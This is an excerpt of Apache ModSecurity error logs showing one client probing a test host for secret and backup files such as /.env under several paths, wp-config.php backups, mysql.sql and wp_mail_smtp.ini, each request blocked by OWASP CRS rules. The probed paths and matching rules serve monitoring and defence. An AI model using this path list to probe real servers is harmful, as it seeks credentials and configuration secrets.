[Thu Mar 12 21:45:30.199068 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abMl6oO4G5_wf15cy5124AAAAAg"]
[Thu Mar 12 21:45:30.199192 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abMl6oO4G5_wf15cy5124AAAAAg"]
[Thu Mar 12 21:45:30.221060 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abMl6oO4G5_wf15cy5124QAAAAg"]
[Thu Mar 12 21:45:30.221231 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abMl6oO4G5_wf15cy5124QAAAAg"]
[Thu Mar 12 21:45:30.221338 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abMl6oO4G5_wf15cy5124QAAAAg"]
[Thu Mar 12 21:45:30.243173 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abMl6oO4G5_wf15cy5124gAAAAg"]
[Thu Mar 12 21:45:30.243334 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abMl6oO4G5_wf15cy5124gAAAAg"]
[Thu Mar 12 21:45:30.243440 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abMl6oO4G5_wf15cy5124gAAAAg"]
[Thu Mar 12 21:45:30.265173 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abMl6oO4G5_wf15cy5124wAAAAg"]
[Thu Mar 12 21:45:30.265333 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abMl6oO4G5_wf15cy5124wAAAAg"]
[Thu Mar 12 21:45:30.265440 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abMl6oO4G5_wf15cy5124wAAAAg"]
[Thu Mar 12 21:45:30.287209 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abMl6oO4G5_wf15cy5125AAAAAg"]
[Thu Mar 12 21:45:30.287361 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abMl6oO4G5_wf15cy5125AAAAAg"]
[Thu Mar 12 21:45:30.287463 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abMl6oO4G5_wf15cy5125AAAAAg"]
[Thu Mar 12 21:45:30.309249 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abMl6oO4G5_wf15cy5125QAAAAg"]
[Thu Mar 12 21:45:30.309411 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abMl6oO4G5_wf15cy5125QAAAAg"]
[Thu Mar 12 21:45:30.309525 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abMl6oO4G5_wf15cy5125QAAAAg"]
[Thu Mar 12 21:45:30.467189 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abMl6oO4G5_wf15cy5127AAAAAg"]
[Thu Mar 12 21:45:30.467357 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abMl6oO4G5_wf15cy5127AAAAAg"]
[Thu Mar 12 21:45:30.467468 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abMl6oO4G5_wf15cy5127AAAAAg"]
[Thu Mar 12 21:45:30.489133 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abMl6oO4G5_wf15cy5127QAAAAg"]
[Thu Mar 12 21:45:30.489346 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abMl6oO4G5_wf15cy5127QAAAAg"]
[Thu Mar 12 21:45:30.489507 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abMl6oO4G5_wf15cy5127QAAAAg"]
[Thu Mar 12 21:45:30.489611 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abMl6oO4G5_wf15cy5127QAAAAg"]
[Thu Mar 12 21:45:30.511438 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.new"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abMl6oO4G5_wf15cy5127gAAAAg"]
[Thu Mar 12 21:45:30.511594 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abMl6oO4G5_wf15cy5127gAAAAg"]
[Thu Mar 12 21:45:30.511718 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abMl6oO4G5_wf15cy5127gAAAAg"]
[Thu Mar 12 21:45:30.533347 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abMl6oO4G5_wf15cy5127wAAAAg"]
[Thu Mar 12 21:45:30.533557 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abMl6oO4G5_wf15cy5127wAAAAg"]
[Thu Mar 12 21:45:30.533710 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abMl6oO4G5_wf15cy5127wAAAAg"]
[Thu Mar 12 21:45:30.533818 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abMl6oO4G5_wf15cy5127wAAAAg"]
[Thu Mar 12 21:45:30.555463 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abMl6oO4G5_wf15cy5128AAAAAg"]
[Thu Mar 12 21:45:30.555811 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abMl6oO4G5_wf15cy5128AAAAAg"]
[Thu Mar 12 21:45:30.555925 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abMl6oO4G5_wf15cy5128AAAAAg"]
[Thu Mar 12 21:45:30.577624 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abMl6oO4G5_wf15cy5128QAAAAg"]
[Thu Mar 12 21:45:30.577959 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abMl6oO4G5_wf15cy5128QAAAAg"]
[Thu Mar 12 21:45:30.578063 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abMl6oO4G5_wf15cy5128QAAAAg"]
